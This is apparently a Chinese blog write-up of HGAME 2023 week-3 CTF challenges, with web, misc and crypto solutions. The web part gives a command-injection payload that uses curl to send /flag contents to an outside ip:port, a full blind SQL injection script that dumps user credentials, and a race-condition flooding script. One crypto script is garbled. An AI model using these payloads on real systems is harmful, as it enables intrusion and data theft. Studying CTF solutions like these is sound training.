Hgame Week3

The Third Week of HGAME

Posted by JBNRZ on 2023-01-31
Estimated Reading Time 15 Minutes
Words 2.8k In Total
Viewed Times

Hgame: week3
Rank:

School All
4 76

Hgame 2023
Rank:

School All
1 14

对不起,摆烂了,一周就没做几天

Web

Ping to the host

  1. 考察命令拼接,其中过滤了空格和一些关键词,在响应头中发现后端有 python ,利用 requests 带出 flag
    1
    2
  2. 先安装 requests 模块,将命令执行结果通过 data 带出
    3
    4
  3. 在根目录发现 flag :/flag_is_here_haha ,过滤了 flag ,字符拼接绕过
    5
    6
  4. flag
1
hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}
  1. Official EXP
1
127.0.0.1&&curl${IFS}http://ip:port?a=`ca\t${IFS}/fla*`

Login to Get the Gift

  1. sql 注入 ,过滤 空格=like!substr,通过 inrigth(lefit(, 1), ) 代替,无回显 bool 盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from requests import post
url = 'http://week-3.hgame.lwsec.cn:30163/login'
p = [9, 10, 11, 12, 13, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126]
for j in range(1, 8):
for i in p:
data = {
'username': f"0'/**/or/**/if(ord(right(left(database(),{j}),1))>{i},1,0)#",
'password': '#'
}
response = post(url, data=data)
if 'Failed!' in response.text:
print(chr(i), end='')
break
# database: L0g1NMe

for j in range(1, 15):
for i in p:
data = {
'username': f"0'/**/or/**/if(ord(right(left((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database())),{j}),1))>{i},1,0)#",
'password': '#'
}
response = post(url, data=data)
if 'Failed!' in response.text:
print(chr(i), end='')
break
# table: User1nf0mAt1on
for x in range(3):
for j in range(1, 9):
for i in p:
data = {
'username': f"0'/**/or/**/if(ord(right(left((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/in/**/(database())/**/limit/**/{x},1),{j}),1))>{i},1,0)#",
'password': '#'
}
response = post(url, data=data)
if 'Failed!' in response.text:
print(chr(i), end='')
break
print()
# column: UsErN4me id PAssw0rD
for x in range(5):
for j in range(1, 30):
for i in p:
data = {
'username': f"0'/**/or/**/if(ord(right(left((select/**/UsErN4me/**/from/**/User1nf0mAt1on/**/limit/**/{x},1),{j}),1))>{i},1,0)#",
'password': '#'
}
response = post(url, data=data)
if 'Failed!' in response.text:
print(chr(i), end='')
break
print()
# password: WeLc0meT0hgAmE2023hAPPySql testpassword
# username: hgAmE2023HAppYnEwyEAr testpasssword
  1. flag
1
hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}

GopherShop

  1. gopher 协议没关系,当时没找到协议的利用点,直接跳过了
  2. 题⽬考察的漏洞点是 golang 整数溢出漏洞,uint 类型在 64 位机器上运⾏时为 uint64,最⼤值为 18446744073709551615 ,最⼩值为 0 ,超出范围都会溢出。
  3. 解法一
  4. 购买商品的校验逻辑为
1
2
3
4
5
6
7
money := uint(number) * price
//校验是否买的起
if err != nil || number < 1 || money > user.Balance {
context.JSON(400, gin.H{"error": "invalid request"})
return
}
user.Balance -= uint(number) * price
  1. 这⾥存在整数溢出的问题,同时⼜没有对购买的数量做出限制,因此可以购买⼀个溢出后刚好够的数量。这个做法这⾥只能恰好买这么多,开局只给了10块,多⼀个少⼀个都不够,构造溢出:1844674407370955162 * 10 = 18446744073709551620 = 4
  2. 这⾥ flag 的价格是 unit64 溢出后的钱的⼀半往上,溢出后基本卖光然后就可以买得起了
    12
    13
  3. 解法二
1
2
3
4
5
6
7
8
9
10
条件竞争买/卖的接⼝->打整数溢出
条件竞争的利⽤点在于在多个连续的请求发给服务端时,数据库中存储的值还没有被前⼀个请求所改
变,就被后⼀个请求所取出,导致都通过了 if 中的逻辑判断,在后⾯扣除余额/数量的时候变成负
数,导致 Overflow / Underflow
如果是对于卖的接⼝条件竞争,会出现⽐如说有⼀个苹果,两个卖1个苹果的请求过来都过了if语句,
那么第⼆个请求后端会认为是 -1 个苹果也就是 18446744073709551615 个。
如果是对于买的接⼝条件竞争,会出现⽐如说有10块钱,两个买1个苹果的请求过来都过了if语句,那
么第⼆个请求后端会认为是 -10 元也就是 18446744073709551606 元。
有很多选⼿写的exp都是买和卖的请求⼀直发,这样就会突然发现⾃⼰有很多钱/很多苹果,这⾥其实
是因为触发了整数溢出。
  1. 条件竞争 from Lazzaro
1
2
3
4
5
6
7
8
import requests
import threading
def req():
url = 'http://ip:port/api/v1/user/buyProduct?product=Flag&number=1'
headers = {'Cookie': 'cookie'}
r = requests.get(url=url, headers=headers)
for i in range(10000):
threading.Thread(target=req).start()
  1. 额外思考
    14

Misc

Tunnel

  1. 导出 TFTP 文件,搜索字符串
    7
  2. flag
1
hgame{ikev1_may_not_safe_aw987rtgh}

Tunnel Revange

  1. 空白爷:空白✌ 一些文章:ISAKMP-ESP strongswan
  2. 导出 TFTP 文件,得到 charon.scap
  3. 通过 csysdig 阅读内容,发现命令
    8
  4. 单独筛选 spy_logs
1
sysdig -c spy_logs -r charon.scap > charon.txt
  1. 在流量包中发现 ISAKMPESP 流量,(ISAKMP 没用,走偏了
  2. 根据 ESP SPI 确定大致位置,找到对应的两组 key
    9
    10
    11
  3. flag
1
hgame{ikev1_m4y_n0t_5af3_3kogsr9w5k}

3ctu4_card_game

  1. AI 题,还是算了吧
    15

Crypto

ezBlock

  1. 逐渐超出能力范围,先囤个 exp
    16
  2. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
def s_substitute(m):
s_box = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 13: 0xa, 14: 0x9, 15: 0xb}
return s_box[m]

def make_table(s):
t = {}
for i in range(len(s)):
for j in range(i):
t[i ^ j] = t.get(i ^ j, []) + [s[i] ^ s[j]]
for i, j in t.items():
tmp = {}
for k in j:
tmp[k] = tmp.get(k, 0) + 1
t[i] = tmp
return t

def update_tabel(n, s):
t = {}
for i, ik in n.items():
t[i] = {}
for j, jp in ik.items():
for k, kp in s[j].items():
t[i][k] = jp * kp + t[i].get(k, 0)
return t

def dif_table(r):
s = [s_substitute(i) for i in range(16)]
table = [{i: {i: 1} for i in range(16)}, make_table(s)]
for i in range(r - 1):
table.append(update_tabel(table[i + 1], table[1]))
return table[-1]

def res_4bit(m):
re_s = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 13: 0xa, 14: 0x9, 15: 0xb}
return re_s[m]

def res(m):
c = 0
for i in range(0, 16, 4):
t = (m >> i) & 0xf
t = res_4bit(t)
c += t << i
return c

def guess_4bit(c0, c1, d, dif):
k = {}
for i in range(16):
t = res_4bit(c0 ^ i) ^ res_4bit(c1 ^ i)
if dif[d].get(t) is not None:
k[i] = dif[d][t]
return k

def add(a, b):
for i, j in b.items():
a[i] = a.get(i, 0) + j
return a

def find_4bit_key(c_4bit_list, r):
table = {}
for i in range(len(c_4bit_list)):
for j in range(i):
k = guess_4bit(c_4bit_list[i], c_4bit_list[j], i ^ j, r)
table = add(table, k)
t = sorted(table, key=lambda x: table[x], reverse=True)
return t

def last_data(c_list, k):
return [res_4bit(c ^ k) for c in c_list]

def find_keys(m_list, c_list, n):
key = {0: []}
m_4bit_list = [m >> n * 4 & 0xf for m in m_list]
c_4bit_list = [c >> n * 4 & 0xf for c in c_list]
for r in range(4):
dif = dif_table(3 - r)
k = find_4bit_key(c_4bit_list, dif)
c_4bit_list = last_data(c_4bit_list, k[0])
key[4 - r] = k
k = [m ^ c for m, c in zip(m_4bit_list, c_4bit_list)]
for i in range(16):
if key[0].count(k[i]) == 0:
key[0].append(k[i])
if len(key[0]) == 1:
key = {i: j[0] for i, j in key.items()}
return key

def full_key(m_list, c_list):
k = {i: find_keys(m_list, c_list, i) for i in range(4)}
t = {}
for i in range(4):
for a, b in k[i].items():
t[a] = t.get(a, 0) + (b << 4 * i)
key = ['' for _ in range(5)]
for i, j in t.items():
key[i] = hex(j)[2:]
return key
m_list = [i * 0x1111 for i in range(16)]
c_list = [28590, 33943, 30267, 5412, 11529, 3089, 46924, 59533, 12915, 37743, 64090, 53680, 18933, 49378, 23512, 44742]
print('hgame{' + '_'.join(full_key(m_list, c_list)) + '}')
  1. attachment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from secret import flag


def s_substitute(m):
c = 0
s_box = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 0x1, 9: 0xf, 10: 0x3, 11: 0xd, 12: 0x8,
13: 0xa, 14: 0x9, 15: 0xb}
for i in range(0, 16, 4):
t = (m >> i) & 0xf
t = s_box[t]
c += t << i
return c


def enc(m, key):
n = len(key)
t = m
for i in range(n - 1):
t = t ^ key[i]
t = s_substitute(t)
c = t ^ key[n - 1]
return c


f = flag[6:-1]
assert flag == 'hgame{' + f + '}'
key = [int(i, 16) for i in f.split('_')]
print(len(key))
m_list = [i * 0x1111 for i in range(16)]
c_list = [enc(m, key) for m in m_list]
print(c_list)

# 5
# [28590, 33943, 30267, 5412, 11529, 3089, 46924, 59533, 12915, 37743, 64090, 53680, 18933, 49378, 23512, 44742]

ezDH

  1. DH 密钥交换和 ECC ElGamal 的组合,shared_secret 作为 ECC 加密的密钥。只要能求出来 shared_secret 就可以解密了。
1
2
DH = 0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2
  1. N 的样⼦挺奇怪的,最后是⼀些 0 再加上⼀个 1,不难联想到 N-1 是⼀个光滑数。就可以⽤ Pohlig-Hellman algorithm 来解离散对数问题。
    17
    18
  2. attachment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from sage.all import *
from Crypto.Util.number import *
from secret import Alice_secret, Bob_secret, FLAG
import random

f = open('output', 'w')

N=0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2

A = power_mod(g, Alice_secret, N)
f.write("Alice send to Bob: {{ 'g': {g}, 'A': {A} }}\n".format(g=g, A=hex(A)))
B = power_mod(g, Bob_secret, N)
f.write("Bob send to Alice: {{'B': {B} }}\n".format(B=hex(B)))

shared_secret = pow(A, Bob_secret, N)

p=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a=-3
b=1093849038073734274511112390766805569936207598951683748994586394495953116150735016013708737573759623248592132296706313309438452531591012912142327488478985984
E = EllipticCurve(GF(p), [a, b])
G = E.random_point()
Pa = shared_secret * G
f.write(f"Alice send to Bob: {{ 'E': {E}, 'G': {G.xy()}, 'Pa': {Pa.xy()} }}\n")

k = random.randint(2, p)
m = E.lift_x(Integer(bytes_to_long(FLAG)))
P1 = k * G
P2 = k * Pa
c = m + P2
f.write(f"Bob send to Alice: {{ {P1.xy()}, {c.xy()} }}\n")
1
2
3
4
Alice send to Bob: { 'g': 2, 'A': 0x22888b5ac1e2f490c55d0891f39aab63f74ea689aa3da3e8fd32c1cd774f7ca79538833e9348aebfc8eba16e850bbb94c35641c2e7e7e8cb76032ad068a83742dbc0a1ad3f3bef19f8ae6553f39d8771d43e5f2fcb986bd72459456d073e70d5be4d79ce5f10f76edea01492f11b807ebff0faf6819d62a8e972084e1ed5dd6e0152df2b0477a42246bbaa04389abf639833 }
Bob send to Alice: {'B': 0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e566e04d416e684c0c379d5819734fd4a09d80add1b3310d76f42fcb1e2f5aac6bcdd285589b3c2620342deffb73464209130adbd3a444b253fc648b40f0acec7493adcb3be3ee3d71a00a2b121c65b06769aada82cd1432a6270e84f7350cd61dddc17fe14de54ab436f41b9c9a0430510dde }
Alice send to Bob: { 'E': Elliptic Curve defined by y^2 = x^3 + 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057148*x + 1093849038073734274511112390766805569936207598951683748994586394495953116150735016013708737573759623248592132296706313309438452531591012912142327488478985984 over Finite Field of size 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151, 'G': (6205877918333770287323403670543661734129170085954198767820861962261174202646976379181735257759867760655835711845144326470613882395445975482219869828210975915, 3475351956909044812130266914587199895248867449669290021764126870271692995160201860564302206748373950979891071705183465400186006709376501382325624851012261206), 'Pa': (2131916734759224323822132103713450942372127857975491448998753734796387810139407713081623540463771547844600806401723562334185214530516095152824413924854874698, 1690322613136671350646569297044951327454506934124656653046321341087958059722809120500999091493097880695888777563486212179798037350151439310538948719271467773) }
Bob send to Alice: { (2032638959575737798553734238953177065671021112450002471824225734491735604600003028491729131445734432442510201955977472408728415227018746467250107080483073647, 3510147080793750133751646930018687527128938175786714269902604502700248948154299853980250781583789623838631244520649113071664767897964611902120411142027848868), (6670373437344180404127983821482178149374116817544688094986412631575854021385459676854475335068369698875988135009698187255523501841013430892133371577987480522, 6648964426034677304189862902917458328845484047818707598329079806732346274848955747700716101983207165347315916182076928764076602008846695049181874187707051395) }

RSA 大冒险 2

  1. challenge 1 wiener attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class RSAServe:
def __init__(self) -> None:
def create_keypair(size):
while True:
p = getPrime(size // 2)
q = getPrime(size // 2)
if q < p < 2*q:
break
N = p*q
phi = (p-1)*(q-1)
max_d = isqrt(isqrt(N)) // 3
max_d_bits = max_d.bit_length() - 1
while True:
d = getRandomNBitInteger(max_d_bits)
try:
e = int(inverse(d, phi))
except ZeroDivisionError:
continue
if (e * d) % phi == 1:
break
return N, e, d
self.N, self.e, self.d = create_keypair(1024)
self.m = chall1_secret
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def attack(N, e):
"""
Recovers the prime factors of a modulus and the private exponent if the priv
:param N: the modulus
:param e: the public exponent
:return: a tuple containing the prime factors and the private exponent, or N
"""
def factorize(N, phi):
s = N + 1 - phi
d = s ** 2 - 4 * N
p = int(s - isqrt(d)) // 2
q = int(s + isqrt(d)) // 2
return p, q
convergents = continued_fraction(ZZ(e) / ZZ(N)).convergents()
for c in convergents:
k = c.numerator()
d = c.denominator()
if pow(pow(2, e, N), d, N) != 2:
continue
phi = (e * d - 1) // k
factors = factorize(N, phi)
if factors:
return *factors, int(d)
  1. challenge 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class RSAServe:
def __init__(self) -> None:
def creat_keypair(nbits, beta):
p = getPrime(nbits // 2)
q = next_prime(p+getRandomNBitInteger(int(nbits*beta)))
N = p*q
phi = (p-1)*(q-1)
while True:
e = getRandomNBitInteger(16)
if GCD(e, phi) == 2:
break
d = inverse(e, phi)
return N, e, d
self.N, self.e, self.d = creat_keypair(1024, 0.25)
self.m = chall2_secret

19
4. exp

1
2
3
4
5
6
7
8
9
10
11
12
from sympy import nthroot_mod
p, q = factorize(N)
assert p*q == N
# print(f"factored p={p}, q={q}")
phi = (p-1)*(q-1)
t = gcd(e, phi)
# print(f"gcd(e, phi) = {t}")
e_ = e // t
assert GCD(e_, phi) == 1
d_ = inverse(e_, phi)
_m = pow(c, d_, N)
chall2_secret = long_to_bytes(nthroot_mod(_m, t, N))
  1. challenge 4 dp coppersmith
1
2
3
4
5
6
7
8
9
10
11
12
13
class RSAServe:
def __init__(self) -> None:
def create_keypair(nbits):
p = getPrime(nbits // 2)
q = getPrime(nbits // 2)
N = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
leak = p >> 253
return N, e, d, leak
self.N, self.e, self.d, self.leak = create_keypair(1024)
self.m = chall3_secret

20
6. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
shift_bits = 253
PR = PolynomialRing(Zmod(N), 'x')
x=PR.gen()
for t in range(2**5):
f = ((leak*2**5) + t)*2**(shift_bits-5) + x
roots = f.small_roots(X=2**(shift_bits-5), beta=0.4, epsilon=0.01)
if len(roots):
p = int(f(x=roots[0]))
if not N % int(p):
q=N//p
break
phi=(p-1)*(q-1)
d=inverse(e, phi)
chall3_secret = long_to_bytes(pow(c, d, N))

Iot

UNO

21

Blockchain

VidarToken

22


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !